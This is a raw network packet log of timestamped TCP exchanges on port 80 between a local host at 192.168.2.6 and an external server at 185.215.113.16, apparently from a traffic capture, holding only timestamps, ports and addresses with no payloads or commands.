Dec 20, 2024 16:19:56.536139011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.536288023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.536360979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.536479950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.536493063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.536536932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.537082911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.537214994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.537264109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.537405014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.537724972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.537738085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.537838936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.538146019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.538211107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.538297892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.538311958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.538404942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.538930893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.539038897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.539052010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.539165974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.539686918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.539736032 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.539808989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.539822102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.539868116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.540509939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.540623903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.540637016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.540708065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.541289091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.541377068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.541398048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.541410923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.541446924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.542146921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.542196989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.542361021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.542469978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.542866945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.542929888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.542943954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.543001890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.543001890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.543601990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.543724060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.543739080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.543824911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.544394016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.544460058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.544491053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.544503927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.544538021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.545166016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.545250893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.545264006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.545362949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.545911074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.546017885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.546040058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.546053886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.546133041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.546710014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.546816111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.546828032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.546875954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.547522068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.547610998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.547652960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.547666073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.547792912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.548264980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.548376083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.548388004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.548463106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.549057007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.549150944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.549154997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.549166918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.549245119 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.549848080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.549964905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.549976110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.550024986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.550589085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.550712109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.550724983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.550754070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.550777912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.551462889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.551476955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.551490068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.551583052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.552269936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.552282095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.552402973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.552459955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.552753925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.553096056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.553235054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.553247929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.553289890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.553824902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.553896904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.554147959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.554163933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.554197073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.554204941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.554824114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.554842949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.554903030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.555016041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.555166960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.555633068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.555742025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.555756092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.555790901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.556325912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.556399107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.556432009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.556444883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.556487083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.557107925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.557204008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.557216883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.557284117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.557909966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.558003902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.558017969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.558218956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.558680058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.558764935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.558778048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.558821917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.559441090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.559547901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.559561014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.559720993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.560226917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.560394049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.560405970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.560486078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.561005116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.561064005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.561119080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.561131001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.561176062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.561793089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.561898947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.561912060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.561960936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.562602043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.562660933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.562757015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.562774897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.563021898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.728612900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.728703976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.728715897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.728786945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.728990078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.729183912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.729187965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.729202032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.729708910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.729923964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.729973078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.730026960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.730040073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.730057955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.730231047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.730716944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.730806112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.730818987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.730911970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.731483936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.731545925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.731571913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.731585979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.731679916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.732285976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.732399940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.732410908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.732525110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.733048916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.733247995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.733261108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.733279943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.733365059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.734196901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.734358072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.734370947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.734527111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.735114098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.735189915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.735223055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.735249043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.735331059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.735981941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.736131907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.736144066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.736228943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.736876011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.736962080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.736984015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.737000942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.737068892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.737533092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.737654924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.737667084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.737890959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.738260031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.738348007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.738439083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.738451958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.738559008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.739124060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.739290953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.739303112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.739514112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.739907980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.740010023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.740020990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.740031958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.740092039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.740642071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.740679979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.740751028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.741003990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.741672993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.741734982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.741739988 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.741753101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.741812944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.742223978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.742362976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.742376089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.742526054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.743057966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.743144035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.743155956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.743196964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.743259907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.743760109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.743846893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.743860006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.744045019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.744524002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.744601011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.744678020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.744689941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.744736910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.745126963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.745204926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.745217085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.745349884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.745836973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.745894909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.745925903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.745944977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.746005058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.746516943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.746761084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.746851921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.746864080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.746892929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.746973991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.747518063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.747596025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.747608900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.747875929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.748238087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.748388052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.748400927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.748545885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.748892069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.748925924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.749118090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.749156952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.749706984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.749761105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.749887943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.749898911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.749980927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.750463009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.750566006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.750581026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.750682116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.751194000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.751319885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.751334906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.751346111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.751477003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.751991987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.752074003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.752091885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.752120972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.752784014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.752892017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.752903938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.753278017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.753565073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.753669024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.753679991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.753787994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.754441977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.754511118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.754514933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.754524946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.754689932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.755213022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.755330086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.755342007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.755605936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.832725048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.854640961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.921106100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.921149015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.921160936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.921289921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.921320915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.921426058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.921502113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.921679974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.921767950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.922141075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.922260046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.922312021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.922430038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.922441959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.922519922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.923126936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.923237085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.923248053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.923336983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.923825026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.923942089 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.923954964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.923981905 CET	49828	80	192.168.2.6	185.215.113.16
